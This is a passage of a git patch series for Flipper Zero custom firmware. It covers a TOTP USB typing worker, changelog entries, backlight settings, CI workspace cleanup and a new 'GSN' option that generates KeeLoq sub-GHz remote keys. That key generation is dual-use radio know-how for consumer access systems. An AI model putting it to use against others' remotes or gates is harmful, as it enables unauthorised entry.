totp_bt_type_code_worker_stop(TotpBtTypeCodeWorkerContext* context); +void totp_bt_type_code_worker_notify( + TotpBtTypeCodeWorkerContext* context, + TotpBtTypeCodeWorkerEvent event); \ No newline at end of file diff --git a/applications/external/totp/workers/constants.c b/applications/external/totp/workers/constants.c new file mode 100644 index 000000000..f3c103578 --- /dev/null +++ b/applications/external/totp/workers/constants.c @@ -0,0 +1,14 @@ +#include "constants.h" +#include + +const uint8_t hid_number_keys[10] = { + HID_KEYBOARD_0, + HID_KEYBOARD_1, + HID_KEYBOARD_2, + HID_KEYBOARD_3, + HID_KEYBOARD_4, + HID_KEYBOARD_5, + HID_KEYBOARD_6, + HID_KEYBOARD_7, + HID_KEYBOARD_8, + HID_KEYBOARD_9}; \ No newline at end of file diff --git a/applications/external/totp/workers/constants.h b/applications/external/totp/workers/constants.h new file mode 100644 index 000000000..c314b6c16 --- /dev/null +++ b/applications/external/totp/workers/constants.h @@ -0,0 +1,4 @@ +#pragma once +#include + +extern const uint8_t hid_number_keys[10]; \ No newline at end of file diff --git a/applications/external/totp/workers/type_code/type_code.h b/applications/external/totp/workers/type_code/type_code.h deleted file mode 100644 index 27f2e02d4..000000000 --- a/applications/external/totp/workers/type_code/type_code.h +++ /dev/null @@ -1,27 +0,0 @@ -#pragma once - -#include -#include -#include - -typedef uint8_t TotpTypeCodeWorkerEvent; - -typedef struct { - char* string; - uint8_t string_length; - FuriThread* thread; - FuriMutex* string_sync; - FuriHalUsbInterface* usb_mode_prev; -} TotpTypeCodeWorkerContext; - -enum TotpTypeCodeWorkerEvents { - TotpTypeCodeWorkerEventReserved = (1 << 0), - TotpTypeCodeWorkerEventStop = (1 << 1), - TotpTypeCodeWorkerEventType = (1 << 2) -}; - -TotpTypeCodeWorkerContext* totp_type_code_worker_start(); -void totp_type_code_worker_stop(TotpTypeCodeWorkerContext* context); -void totp_type_code_worker_notify( - TotpTypeCodeWorkerContext* context, - TotpTypeCodeWorkerEvent event); \ No newline at end of file diff --git a/applications/external/totp/workers/type_code/type_code.c b/applications/external/totp/workers/usb_type_code/usb_type_code.c similarity index 68% rename from applications/external/totp/workers/type_code/type_code.c rename to applications/external/totp/workers/usb_type_code/usb_type_code.c index f2b4c9b9e..3132e2317 100644 --- a/applications/external/totp/workers/type_code/type_code.c +++ b/applications/external/totp/workers/usb_type_code/usb_type_code.c @@ -1,19 +1,8 @@ -#include "type_code.h" +#include "usb_type_code.h" #include "../../services/convert/convert.h" +#include "../constants.h" -static const uint8_t hid_number_keys[10] = { - HID_KEYBOARD_0, - HID_KEYBOARD_1, - HID_KEYBOARD_2, - HID_KEYBOARD_3, - HID_KEYBOARD_4, - HID_KEYBOARD_5, - HID_KEYBOARD_6, - HID_KEYBOARD_7, - HID_KEYBOARD_8, - HID_KEYBOARD_9}; - -static void totp_type_code_worker_restore_usb_mode(TotpTypeCodeWorkerContext* context) { +static void totp_type_code_worker_restore_usb_mode(TotpUsbTypeCodeWorkerContext* context) { if(context->usb_mode_prev != NULL) { furi_hal_usb_set_config(context->usb_mode_prev, NULL); context->usb_mode_prev = NULL; @@ -21,10 +10,10 @@ static void totp_type_code_worker_restore_usb_mode(TotpTypeCodeWorkerContext* co } static inline bool totp_type_code_worker_stop_requested() { - return furi_thread_flags_get() & TotpTypeCodeWorkerEventStop; + return furi_thread_flags_get() & TotpUsbTypeCodeWorkerEventStop; } -static void totp_type_code_worker_type_code(TotpTypeCodeWorkerContext* context) { +static void totp_type_code_worker_type_code(TotpUsbTypeCodeWorkerContext* context) { context->usb_mode_prev = furi_hal_usb_get_config(); furi_hal_usb_unlock(); furi_check(furi_hal_usb_set_config(&usb_hid, NULL) == true); @@ -57,6 +46,7 @@ static void totp_type_code_worker_type_code(TotpTypeCodeWorkerContext* context) } static int32_t totp_type_code_worker_callback(void* context) { + furi_assert(context); FuriMutex* context_mutex = furi_mutex_alloc(FuriMutexTypeNormal); if(context_mutex == NULL) { return 251; @@ -64,14 +54,14 @@ static int32_t totp_type_code_worker_callback(void* context) { while(true) { uint32_t flags = furi_thread_flags_wait( - TotpTypeCodeWorkerEventStop | TotpTypeCodeWorkerEventType, + TotpUsbTypeCodeWorkerEventStop | TotpUsbTypeCodeWorkerEventType, FuriFlagWaitAny, FuriWaitForever); furi_check((flags & FuriFlagError) == 0); //-V562 - if(flags & TotpTypeCodeWorkerEventStop) break; + if(flags & TotpUsbTypeCodeWorkerEventStop) break; if(furi_mutex_acquire(context_mutex, FuriWaitForever) == FuriStatusOk) { - if(flags & TotpTypeCodeWorkerEventType) { + if(flags & TotpUsbTypeCodeWorkerEventType) { totp_type_code_worker_type_code(context); } @@ -84,13 +74,18 @@ static int32_t totp_type_code_worker_callback(void* context) { return 0; } -TotpTypeCodeWorkerContext* totp_type_code_worker_start() { - TotpTypeCodeWorkerContext* context = malloc(sizeof(TotpTypeCodeWorkerContext)); +TotpUsbTypeCodeWorkerContext* totp_usb_type_code_worker_start( + char* code_buf, + uint8_t code_buf_length, + FuriMutex* code_buf_update_sync) { + TotpUsbTypeCodeWorkerContext* context = malloc(sizeof(TotpUsbTypeCodeWorkerContext)); furi_check(context != NULL); - context->string_sync = furi_mutex_alloc(FuriMutexTypeNormal); + context->string = code_buf; + context->string_length = code_buf_length; + context->string_sync = code_buf_update_sync; context->thread = furi_thread_alloc(); context->usb_mode_prev = NULL; - furi_thread_set_name(context->thread, "TOTPHidWorker"); + furi_thread_set_name(context->thread, "TOTPUsbHidWorker"); furi_thread_set_stack_size(context->thread, 1024); furi_thread_set_context(context->thread, context); furi_thread_set_callback(context->thread, totp_type_code_worker_callback); @@ -98,19 +93,18 @@ TotpTypeCodeWorkerContext* totp_type_code_worker_start() { return context; } -void totp_type_code_worker_stop(TotpTypeCodeWorkerContext* context) { +void totp_usb_type_code_worker_stop(TotpUsbTypeCodeWorkerContext* context) { furi_assert(context != NULL); - furi_thread_flags_set(furi_thread_get_id(context->thread), TotpTypeCodeWorkerEventStop); + furi_thread_flags_set(furi_thread_get_id(context->thread), TotpUsbTypeCodeWorkerEventStop); furi_thread_join(context->thread); furi_thread_free(context->thread); - furi_mutex_free(context->string_sync); totp_type_code_worker_restore_usb_mode(context); free(context); } -void totp_type_code_worker_notify( - TotpTypeCodeWorkerContext* context, - TotpTypeCodeWorkerEvent event) { +void totp_usb_type_code_worker_notify( + TotpUsbTypeCodeWorkerContext* context, + TotpUsbTypeCodeWorkerEvent event) { furi_assert(context != NULL); furi_thread_flags_set(furi_thread_get_id(context->thread), event); } \ No newline at end of file diff --git a/applications/external/totp/workers/usb_type_code/usb_type_code.h b/applications/external/totp/workers/usb_type_code/usb_type_code.h new file mode 100644 index 000000000..94fddcc59 --- /dev/null +++ b/applications/external/totp/workers/usb_type_code/usb_type_code.h @@ -0,0 +1,30 @@ +#pragma once + +#include +#include +#include + +typedef uint8_t TotpUsbTypeCodeWorkerEvent; + +typedef struct { + char* string; + uint8_t string_length; + FuriThread* thread; + FuriMutex* string_sync; + FuriHalUsbInterface* usb_mode_prev; +} TotpUsbTypeCodeWorkerContext; + +enum TotpUsbTypeCodeWorkerEvents { + TotpUsbTypeCodeWorkerEventReserved = (1 << 0), + TotpUsbTypeCodeWorkerEventStop = (1 << 1), + TotpUsbTypeCodeWorkerEventType = (1 << 2) +}; + +TotpUsbTypeCodeWorkerContext* totp_usb_type_code_worker_start( + char* code_buf, + uint8_t code_buf_length, + FuriMutex* code_buf_update_sync); +void totp_usb_type_code_worker_stop(TotpUsbTypeCodeWorkerContext* context); +void totp_usb_type_code_worker_notify( + TotpUsbTypeCodeWorkerContext* context, + TotpUsbTypeCodeWorkerEvent event); \ No newline at end of file From df766b1476dd82f86acf0441f9a8af9cbf9796ff Mon Sep 17 00:00:00 2001 From: MX <10697207+xMasterX@users.noreply.github.com> Date: Tue, 21 Mar 2023 19:08:58 +0300 Subject: [PATCH 222/329] Update changelog --- CHANGELOG.md | 19 +++++++++---------- 1 file changed, 9 insertions(+), 10 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 564b5a3ed..6458d9599 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -1,14 +1,13 @@ ### New changes -* Plugins: Fix minesweeper freeze bugs, do some refactoring -* Plugins: Update WAV Player, 16 bit support by @LTVA1 -* Infrared: Update universal remote assets (by @amec0e | PR #394) -* OFW PR: Fixed writing gen1a magic tags with invalid BCC [(PR 2511 by AloneLiberty)](https://github.com/AloneLiberty/flipperzero-firmware/tree/nfc-magic-write-fix) -* OFW: BadUSB: Script interpreter refactoring -* OFW: SubGhz: fix Incorrect comparison in subghz_setting_get_hopper_frequency -* OFW: Add one_wire lib to f18, separate ibutton -* OFW: Improved debugging experience for external apps -* OFW: SD Driver: reinit sd card on error -* OFW: OTP programmer: return exit code based on error type +* If you have copied apps into `apps` folder - remove `apps` folder on your microSD before installing this release to avoid issues! +* Dev Builds: Add extra pack dev branch to avoid "bug" reports with `API mismatch` +* SubGHz: Add 318 MHz back to hopping list +* SubGHz: Fix hopper stuck at 433.42 due to wide range signals - +When we using 433.92 remote flipper in hopping mode will stuck at 433.42 and may loose signal because of that, need to avoid using close freqs in hopping, only freqs with bigger difference like 310 -> 315 +* Plugins: Update **TOTP (Authenticator)** [(by akopachov)](https://github.com/akopachov/flipper-zero_authenticator) -> BadBT Support +* OFW: BadUSB: implement boot protocol +* OFW: Remove hmac_sha256 from public API -> **Breaking API change, api was changed from 18.x to 19.x** +**(this will make your manually copied plugins not work, update them in same way you installed them, or delete `apps` folder and then install firmware, if you using extra pack builds (with `e` in version) all apps in _Extra will be updated automatically)** #### [🎲 Download latest extra apps pack](https://github.com/xMasterX/unleashed-extra-pack/archive/refs/heads/main.zip) From 5b6b081664a6e802cd73b973215c15a5db8581ac Mon Sep 17 00:00:00 2001 From: MX <10697207+xMasterX@users.noreply.github.com> Date: Tue, 21 Mar 2023 20:09:18 +0300 Subject: [PATCH 223/329] GSN - Add manually support --- CHANGELOG.md | 1 + .../main/subghz/helpers/subghz_custom_event.h | 1 + .../subghz/scenes/subghz_scene_set_type.c | 31 +++++++++++++++++++ 3 files changed, 33 insertions(+) diff --git a/CHANGELOG.md b/CHANGELOG.md index 6458d9599..7728ffa4a 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -1,6 +1,7 @@ ### New changes * If you have copied apps into `apps` folder - remove `apps` folder on your microSD before installing this release to avoid issues! * Dev Builds: Add extra pack dev branch to avoid "bug" reports with `API mismatch` +* SubGHz: Add manually -> GSN protocol support * SubGHz: Add 318 MHz back to hopping list * SubGHz: Fix hopper stuck at 433.42 due to wide range signals - When we using 433.92 remote flipper in hopping mode will stuck at 433.42 and may loose signal because of that, need to avoid using close freqs in hopping, only freqs with bigger difference like 310 -> 315 diff --git a/applications/main/subghz/helpers/subghz_custom_event.h b/applications/main/subghz/helpers/subghz_custom_event.h index 69f946a9a..f94b97659 100644 --- a/applications/main/subghz/helpers/subghz_custom_event.h +++ b/applications/main/subghz/helpers/subghz_custom_event.h @@ -19,6 +19,7 @@ typedef enum { SubmenuIndexSommer_FM_868, SubmenuIndexDTMNeo433, SubmenuIndexGibidi433, + SubmenuIndexGSN, SubmenuIndexNiceFlo12bit, SubmenuIndexNiceFlo24bit, SubmenuIndexNiceFlorS_433_92, diff --git a/applications/main/subghz/scenes/subghz_scene_set_type.c b/applications/main/subghz/scenes/subghz_scene_set_type.c index 50af12669..ac177c0d0 100644 --- a/applications/main/subghz/scenes/subghz_scene_set_type.c +++ b/applications/main/subghz/scenes/subghz_scene_set_type.c @@ -152,6 +152,12 @@ void subghz_scene_set_type_on_enter(void* context) { SubmenuIndexGibidi433, subghz_scene_set_type_submenu_callback, subghz); + submenu_add_item( + subghz->submenu, + "KL: GSN 433MHz", + SubmenuIndexGSN, + subghz_scene_set_type_submenu_callback, + subghz); submenu_add_item( subghz->submenu, "KL: Elmes (PL) 433MHz", @@ -521,6 +527,31 @@ bool subghz_scene_set_type_on_event(void* context, SceneManagerEvent event) { scene_manager_next_scene(subghz->scene_manager, SubGhzSceneShowError); } break; + case SubmenuIndexGSN: + subghz->txrx->transmitter = subghz_transmitter_alloc_init( + subghz->txrx->environment, SUBGHZ_PROTOCOL_KEELOQ_NAME); + subghz_preset_init(subghz, "AM650", 433920000, NULL, 0); + if(subghz->txrx->transmitter) { + subghz_protocol_keeloq_create_data( + subghz_transmitter_get_protocol_instance(subghz->txrx->transmitter), + subghz->txrx->fff_data, + key & 0x0FFFFFFF, + 0x2, + 0x0003, + "GSN", + subghz->txrx->preset); + flipper_format_write_string_cstr(subghz->txrx->fff_data, "Manufacture", "GSN"); + generated_protocol = true; + } else { + generated_protocol = false; + } + subghz_transmitter_free(subghz->txrx->transmitter); + if(!generated_protocol) { + furi_string_set( + subghz->error_str, "Function requires\nan SD card with\nfresh databases."); + scene_manager_next_scene(subghz->scene_manager, SubGhzSceneShowError); + } + break; case SubmenuIndexIronLogic: subghz->txrx->transmitter = subghz_transmitter_alloc_init( subghz->txrx->environment, SUBGHZ_PROTOCOL_KEELOQ_NAME); From b94c71b14f71cdbcce0178afdefcf3811c9cd99d Mon Sep 17 00:00:00 2001 From: Willy-JL <49810075+Willy-JL@users.noreply.github.com> Date: Tue, 21 Mar 2023 17:46:46 +0000 Subject: [PATCH 224/329] RGB backlight toggle as button with confirmation --- .../xtreme_app/scenes/xtreme_app_scene_misc.c | 54 +++++++++++-------- 1 file changed, 33 insertions(+), 21 deletions(-) diff --git a/applications/main/xtreme_app/scenes/xtreme_app_scene_misc.c b/applications/main/xtreme_app/scenes/xtreme_app_scene_misc.c index ff697428a..ff5775f57 100644 --- a/applications/main/xtreme_app/scenes/xtreme_app_scene_misc.c +++ b/applications/main/xtreme_app/scenes/xtreme_app_scene_misc.c @@ -2,9 +2,10 @@ enum VarItemListIndex { VarItemListIndexChangeDeviceName, - VarItemListIndexRgbBacklight, VarItemListIndexXpLevel, VarItemListIndexButthurtTimer, + VarItemListIndexRgbBacklight, + VarItemListIndexLcdColor, }; void xtreme_app_scene_misc_var_item_list_callback(void* context, uint32_t index) { @@ -21,23 +22,6 @@ static void xtreme_app_scene_misc_xp_level_changed(VariableItem* item) { app->save_level = true; } -static void xtreme_app_scene_misc_rgb_backlight_changed(VariableItem* item) { - XtremeApp* app = variable_item_get_context(item); - bool value = variable_item_get_current_value_index(item); - variable_item_set_current_value_text(item, value ? "ON" : "OFF"); - XTREME_SETTINGS()->rgb_backlight = value; - app->save_settings = true; - notification_message(app->notification, &sequence_display_backlight_on); -} - -static void xtreme_app_scene_misc_lcd_color_changed(VariableItem* item) { - XtremeApp* app = variable_item_get_context(item); - uint8_t index = variable_item_get_current_value_index(item); - variable_item_set_current_value_text(item, rgb_backlight_get_color_text(index)); - rgb_backlight_set_color(index); - notification_message(app->notification, &sequence_display_backlight_on); -} - const char* const butthurt_timer_names[] = {"OFF", "30 M", "1 H", "2 H", "4 H", "6 H", "8 H", "12 H", "24 H", "48 H"}; const int32_t butthurt_timer_values[COUNT_OF(butthurt_timer_names)] = @@ -51,6 +35,14 @@ static void xtreme_app_scene_misc_butthurt_timer_changed(VariableItem* item) { app->require_reboot = true; } +static void xtreme_app_scene_misc_lcd_color_changed(VariableItem* item) { + XtremeApp* app = variable_item_get_context(item); + uint8_t index = variable_item_get_current_value_index(item); + variable_item_set_current_value_text(item, rgb_backlight_get_color_text(index)); + rgb_backlight_set_color(index); + notification_message(app->notification, &sequence_display_backlight_on); +} + void xtreme_app_scene_misc_on_enter(void* context) { XtremeApp* app = context; XtremeSettings* xtreme_settings = XTREME_SETTINGS(); @@ -82,9 +74,7 @@ void xtreme_app_scene_misc_on_enter(void* context) { variable_item_set_current_value_index(item, value_index); variable_item_set_current_value_text(item, butthurt_timer_names[value_index]); - item = variable_item_list_add( - var_item_list, "RGB Backlight", 2, xtreme_app_scene_misc_rgb_backlight_changed, app); - variable_item_set_current_value_index(item, xtreme_settings->rgb_backlight); + item = variable_item_list_add(var_item_list, "RGB Backlight", 1, NULL, app); variable_item_set_current_value_text(item, xtreme_settings->rgb_backlight ? "ON" : "OFF"); item = variable_item_list_add( @@ -118,6 +108,28 @@ bool xtreme_app_scene_misc_on_event(void* context, SceneManagerEvent event) { case VarItemListIndexChangeDeviceName: scene_manager_next_scene(app->scene_manager, XtremeAppSceneMiscRename); break; + case VarItemListIndexRgbBacklight: { + bool value = XTREME_SETTINGS()->rgb_backlight; + char* text; + if(value) { + text = "This will disable\nthe RGB backlight!\nAre you sure?"; + } else { + text = "This will enable\nthe RGB backlight!\nAre you sure?"; + } + DialogMessage* msg = dialog_message_alloc(); + dialog_message_set_header(msg, "RGB Backlight", 64, 0, AlignCenter, AlignTop); + dialog_message_set_buttons(msg, "Cancel", NULL, "Continue"); + dialog_message_set_text(msg, text, 64, 32, AlignCenter, AlignCenter); + if(dialog_message_show(app->dialogs, msg) == DialogMessageButtonRight) { + XTREME_SETTINGS()->rgb_backlight = !value; + app->save_settings = true; + notification_message(app->notification, &sequence_display_backlight_on); + scene_manager_previous_scene(app->scene_manager); + scene_manager_next_scene(app->scene_manager, XtremeAppSceneMisc); + } + dialog_message_free(msg); + break; + } default: break; } From 94d238c61171185a2948acb41ccd0b1f7314f8cd Mon Sep 17 00:00:00 2001 From: MX <10697207+xMasterX@users.noreply.github.com> Date: Tue, 21 Mar 2023 23:38:37 +0300 Subject: [PATCH 225/329] Add 418mhz to hopping list --- CHANGELOG.md | 2 +- documentation/SubGHzSettings.md | 1 + lib/subghz/subghz_setting.c | 1 + 3 files changed, 3 insertions(+), 1 deletion(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 7728ffa4a..af5fdf966 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -2,7 +2,7 @@ * If you have copied apps into `apps` folder - remove `apps` folder on your microSD before installing this release to avoid issues! * Dev Builds: Add extra pack dev branch to avoid "bug" reports with `API mismatch` * SubGHz: Add manually -> GSN protocol support -* SubGHz: Add 318 MHz back to hopping list +* SubGHz: Add 318 and 418 MHz back to hopping list * SubGHz: Fix hopper stuck at 433.42 due to wide range signals - When we using 433.92 remote flipper in hopping mode will stuck at 433.42 and may loose signal because of that, need to avoid using close freqs in hopping, only freqs with bigger difference like 310 -> 315 * Plugins: Update **TOTP (Authenticator)** [(by akopachov)](https://github.com/akopachov/flipper-zero_authenticator) -> BadBT Support diff --git a/documentation/SubGHzSettings.md b/documentation/SubGHzSettings.md index 9ba44ca33..41cf0d6bc 100644 --- a/documentation/SubGHzSettings.md +++ b/documentation/SubGHzSettings.md @@ -92,6 +92,7 @@ Your frequencies will be added after default ones 310000000, 315000000, 318000000, + 418000000, 433920000, 868350000, ``` diff --git a/lib/subghz/subghz_setting.c b/lib/subghz/subghz_setting.c index 8692e6194..b72cf99eb 100644 --- a/lib/subghz/subghz_setting.c +++ b/lib/subghz/subghz_setting.c @@ -80,6 +80,7 @@ static const uint32_t subghz_hopper_frequency_list[] = { 310000000, 315000000, 318000000, + 418000000, 433920000, 868350000, 0, From 54b3c3e242dc1b449e9aeabfc63d2b7532fed82b Mon Sep 17 00:00:00 2001 From: Willy-JL <49810075+Willy-JL@users.noreply.github.com> Date: Tue, 21 Mar 2023 20:44:05 +0000 Subject: [PATCH 226/329] Save backlight color setting --- applications/main/xtreme_app/scenes/xtreme_app_scene_misc.c | 1 + applications/main/xtreme_app/xtreme_app.c | 4 ++++ applications/main/xtreme_app/xtreme_app.h | 1 + firmware/targets/f7/api_symbols.csv | 2 +- 4 files changed, 7 insertions(+), 1 deletion(-) diff --git a/applications/main/xtreme_app/scenes/xtreme_app_scene_misc.c b/applications/main/xtreme_app/scenes/xtreme_app_scene_misc.c index ff5775f57..4549dbebb 100644 --- a/applications/main/xtreme_app/scenes/xtreme_app_scene_misc.c +++ b/applications/main/xtreme_app/scenes/xtreme_app_scene_misc.c @@ -40,6 +40,7 @@ static void xtreme_app_scene_misc_lcd_color_changed(VariableItem* item) { uint8_t index = variable_item_get_current_value_index(item); variable_item_set_current_value_text(item, rgb_backlight_get_color_text(index)); rgb_backlight_set_color(index); + app->save_backlight = true; notification_message(app->notification, &sequence_display_backlight_on); } diff --git a/applications/main/xtreme_app/xtreme_app.c b/applications/main/xtreme_app/xtreme_app.c index 3aef017d6..d392568ec 100644 --- a/applications/main/xtreme_app/xtreme_app.c +++ b/applications/main/xtreme_app/xtreme_app.c @@ -114,6 +114,10 @@ static bool xtreme_app_back_event_callback(void* context) { furi_record_close(RECORD_DOLPHIN); } + if(app->save_backlight) { + rgb_backlight_save_settings(); + } + if(app->save_settings) { XTREME_SETTINGS_SAVE(); } diff --git a/applications/main/xtreme_app/xtreme_app.h b/applications/main/xtreme_app/xtreme_app.h index 222ca263a..39f99b6c3 100644 --- a/applications/main/xtreme_app/xtreme_app.h +++ b/applications/main/xtreme_app/xtreme_app.h @@ -62,6 +62,7 @@ typedef struct { bool save_subghz; bool save_name; bool save_level; + bool save_backlight; bool save_settings; bool require_reboot; } XtremeApp; diff --git a/firmware/targets/f7/api_symbols.csv b/firmware/targets/f7/api_symbols.csv index 6a15114ae..cbe22fbcf 100644 --- a/firmware/targets/f7/api_symbols.csv +++ b/firmware/targets/f7/api_symbols.csv @@ -2525,7 +2525,7 @@ Function,+,rgb_backlight_get_color_count,uint8_t, Function,+,rgb_backlight_get_color_text,const char*,uint8_t Function,+,rgb_backlight_get_settings,RGBBacklightSettings*, Function,-,rgb_backlight_load_settings,void, -Function,-,rgb_backlight_save_settings,void, +Function,+,rgb_backlight_save_settings,void, Function,+,rgb_backlight_set_color,void,uint8_t Function,-,rgb_backlight_update,void,uint8_t Function,-,rindex,char*,"const char*, int" From 204b50381a0975b72af8b0be33b6371e69c024a0 Mon Sep 17 00:00:00 2001 From: Shukai Ni Date: Wed, 22 Mar 2023 05:47:47 -0400 Subject: [PATCH 227/329] Correct FAP default upload path in AppsOnSDCard.md (#2524) Since the fap's source code is in `applications_user`, the documentation should also point to `applications_user` as the parent directory --- documentation/AppsOnSDCard.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/documentation/AppsOnSDCard.md b/documentation/AppsOnSDCard.md index 754305706..212df5b1b 100644 --- a/documentation/AppsOnSDCard.md +++ b/documentation/AppsOnSDCard.md @@ -13,7 +13,7 @@ FAPs are created and developed the same way as internal applications that are pa To build your application as a FAP, create a folder with your app's source code in `applications_user`, then write its code the way you'd do when creating a regular built-in application. Then configure its `application.fam` manifest, and set its _apptype_ to FlipperAppType.EXTERNAL. See [Application Manifests](./AppManifests.md#application-definition) for more details. - To build your application, run `./fbt fap_{APPID}`, where APPID is your application's ID in its manifest. -- To build your app and upload it over USB to run on Flipper, use `./fbt launch_app APPSRC=applications/path/to/app`. This command is configured in the default [VS Code profile](../.vscode/ReadMe.md) as a "Launch App on Flipper" build action (Ctrl+Shift+B menu). +- To build your app and upload it over USB to run on Flipper, use `./fbt launch_app APPSRC=applications_user/path/to/app`. This command is configured in the default [VS Code profile](../.vscode/ReadMe.md) as a "Launch App on Flipper" build action (Ctrl+Shift+B menu). - To build all FAPs, run `./fbt faps` or `./fbt fap_dist`. ## FAP assets From acc32f66e843a13996ae16c6287de6cbcf98be70 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E3=81=82=E3=81=8F?= Date: Wed, 22 Mar 2023 19:48:41 +0900 Subject: [PATCH 228/329] Github: force cleanup tree on decontaminate (#2526) --- .github/workflows/build.yml | 2 +- .github/workflows/lint_and_submodule_check.yml | 2 +- .github/workflows/merge_report.yml | 2 +- .github/workflows/pvs_studio.yml | 2 +- .github/workflows/unit_tests.yml | 2 +- .github/workflows/updater_test.yml | 2 +- 6 files changed, 6 insertions(+), 6 deletions(-) diff --git a/.github/workflows/build.yml b/.github/workflows/build.yml index 6ab2490ce..898a1291c 100644 --- a/.github/workflows/build.yml +++ b/.github/workflows/build.yml @@ -24,7 +24,7 @@ jobs: git submodule status || ( git ls-files --stage | egrep '^160000' | awk '{print $4}' | while read submodule do - git rm -rf --cached "$submodule" + git rm -rf "$submodule" done ) fi diff --git a/.github/workflows/lint_and_submodule_check.yml b/.github/workflows/lint_and_submodule_check.yml index 46cca5c0d..10b3c1d9a 100644 --- a/.github/workflows/lint_and_submodule_check.yml +++ b/.github/workflows/lint_and_submodule_check.yml @@ -24,7 +24,7 @@ jobs: git submodule status || ( git ls-files --stage | egrep '^160000' | awk '{print $4}' | while read submodule do - git rm -rf --cached "$submodule" + git rm -rf "$submodule" done ) fi diff --git a/.github/workflows/merge_report.yml b/.github/workflows/merge_report.yml index e88346edf..a382733df 100644 --- a/.github/workflows/merge_report.yml +++ b/.github/workflows/merge_report.yml @@ -18,7 +18,7 @@ jobs: git submodule status || ( git ls-files --stage | egrep '^160000' | awk '{print $4}' | while read submodule do - git rm -rf --cached "$submodule" + git rm -rf "$submodule" done ) fi diff --git a/.github/workflows/pvs_studio.yml b/.github/workflows/pvs_studio.yml index 65ffd1954..d11e268da 100644 --- a/.github/workflows/pvs_studio.yml +++ b/.github/workflows/pvs_studio.yml @@ -25,7 +25,7 @@ jobs: git submodule status || ( git ls-files --stage | egrep '^160000' | awk '{print $4}' | while read submodule do - git rm -rf --cached "$submodule" + git rm -rf "$submodule" done ) fi diff --git a/.github/workflows/unit_tests.yml b/.github/workflows/unit_tests.yml index 6f044ebca..0ec531064 100644 --- a/.github/workflows/unit_tests.yml +++ b/.github/workflows/unit_tests.yml @@ -18,7 +18,7 @@ jobs: git submodule status || ( git ls-files --stage | egrep '^160000' | awk '{print $4}' | while read submodule do - git rm -rf --cached "$submodule" + git rm -rf "$submodule" done ) fi diff --git a/.github/workflows/updater_test.yml b/.github/workflows/updater_test.yml index c04d526fc..e1e655b00 100644 --- a/.github/workflows/updater_test.yml +++ b/.github/workflows/updater_test.yml @@ -18,7 +18,7 @@ jobs: git submodule status || ( git ls-files --stage | egrep '^160000' | awk '{print $4}' | while read submodule do - git rm -rf --cached "$submodule" + git rm -rf "$submodule" done ) fi From 973287b09b2e001503d91d94e05d9fe04bfafd6f Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E3=81=82=E3=81=8F?= Date: Wed, 22 Mar 2023 20:26:40 +0900 Subject: [PATCH 229/329] Github: wipe workspace before checkout (#2527) * Github: wipe workspace before checkout * Github: allow find to fail * Github: limit maxdepth for find --- .github/workflows/build.yml | 21 ++++--------------- .../workflows/lint_and_submodule_check.yml | 12 ++--------- .github/workflows/merge_report.yml | 12 ++--------- .github/workflows/pvs_studio.yml | 12 ++--------- .github/workflows/unit_tests.yml | 12 ++--------- .github/workflows/updater_test.yml | 20 ++++-------------- 6 files changed, 16 insertions(+), 73 deletions(-) diff --git a/.github/workflows/build.yml b/.github/workflows/build.yml index 898a1291c..56e50d5f4 100644 --- a/.github/workflows/build.yml +++ b/.github/workflows/build.yml @@ -18,16 +18,8 @@ jobs: main: runs-on: [self-hosted,FlipperZeroShell] steps: - - name: 'Decontaminate previous build leftovers' - run: | - if [ -d .git ]; then - git submodule status || ( - git ls-files --stage | egrep '^160000' | awk '{print $4}' | while read submodule - do - git rm -rf "$submodule" - done - ) - fi + - name: 'Wipe workspace' + run: find ./ -mount -maxdepth 1 -exec rm -rf {} \; - name: 'Checkout code' uses: actions/checkout@v3 @@ -171,13 +163,8 @@ jobs: if: ${{ !startsWith(github.ref, 'refs/tags') }} runs-on: [self-hosted,FlipperZeroShell] steps: - - name: 'Decontaminate previous build leftovers' - run: | - if [ -d .git ] - then - git submodule status \ - || git checkout "$(git rev-list --max-parents=0 HEAD | tail -n 1)" - fi + - name: 'Wipe workspace' + run: find ./ -mount -maxdepth 1 -exec rm -rf {} \; - name: 'Checkout code' uses: actions/checkout@v3 diff --git a/.github/workflows/lint_and_submodule_check.yml b/.github/workflows/lint_and_submodule_check.yml index 10b3c1d9a..cecfd1248 100644 --- a/.github/workflows/lint_and_submodule_check.yml +++ b/.github/workflows/lint_and_submodule_check.yml @@ -18,16 +18,8 @@ jobs: lint_sources_check_submodules: runs-on: [self-hosted,FlipperZeroShell] steps: - - name: 'Decontaminate previous build leftovers' - run: | - if [ -d .git ]; then - git submodule status || ( - git ls-files --stage | egrep '^160000' | awk '{print $4}' | while read submodule - do - git rm -rf "$submodule" - done - ) - fi + - name: 'Wipe workspace' + run: find ./ -mount -maxdepth 1 -exec rm -rf {} \; - name: 'Checkout code' uses: actions/checkout@v3 diff --git a/.github/workflows/merge_report.yml b/.github/workflows/merge_report.yml index a382733df..71515e1c5 100644 --- a/.github/workflows/merge_report.yml +++ b/.github/workflows/merge_report.yml @@ -12,16 +12,8 @@ jobs: merge_report: runs-on: [self-hosted,FlipperZeroShell] steps: - - name: 'Decontaminate previous build leftovers' - run: | - if [ -d .git ]; then - git submodule status || ( - git ls-files --stage | egrep '^160000' | awk '{print $4}' | while read submodule - do - git rm -rf "$submodule" - done - ) - fi + - name: 'Wipe workspace' + run: find ./ -mount -maxdepth 1 -exec rm -rf {} \; - name: 'Checkout code' uses: actions/checkout@v3 diff --git a/.github/workflows/pvs_studio.yml b/.github/workflows/pvs_studio.yml index d11e268da..6dbf84edb 100644 --- a/.github/workflows/pvs_studio.yml +++ b/.github/workflows/pvs_studio.yml @@ -19,16 +19,8 @@ jobs: if: ${{ !github.event.pull_request.head.repo.fork }} runs-on: [self-hosted, FlipperZeroShell] steps: - - name: 'Decontaminate previous build leftovers' - run: | - if [ -d .git ]; then - git submodule status || ( - git ls-files --stage | egrep '^160000' | awk '{print $4}' | while read submodule - do - git rm -rf "$submodule" - done - ) - fi + - name: 'Wipe workspace' + run: find ./ -mount -maxdepth 1 -exec rm -rf {} \; - name: 'Checkout code' uses: actions/checkout@v3 diff --git 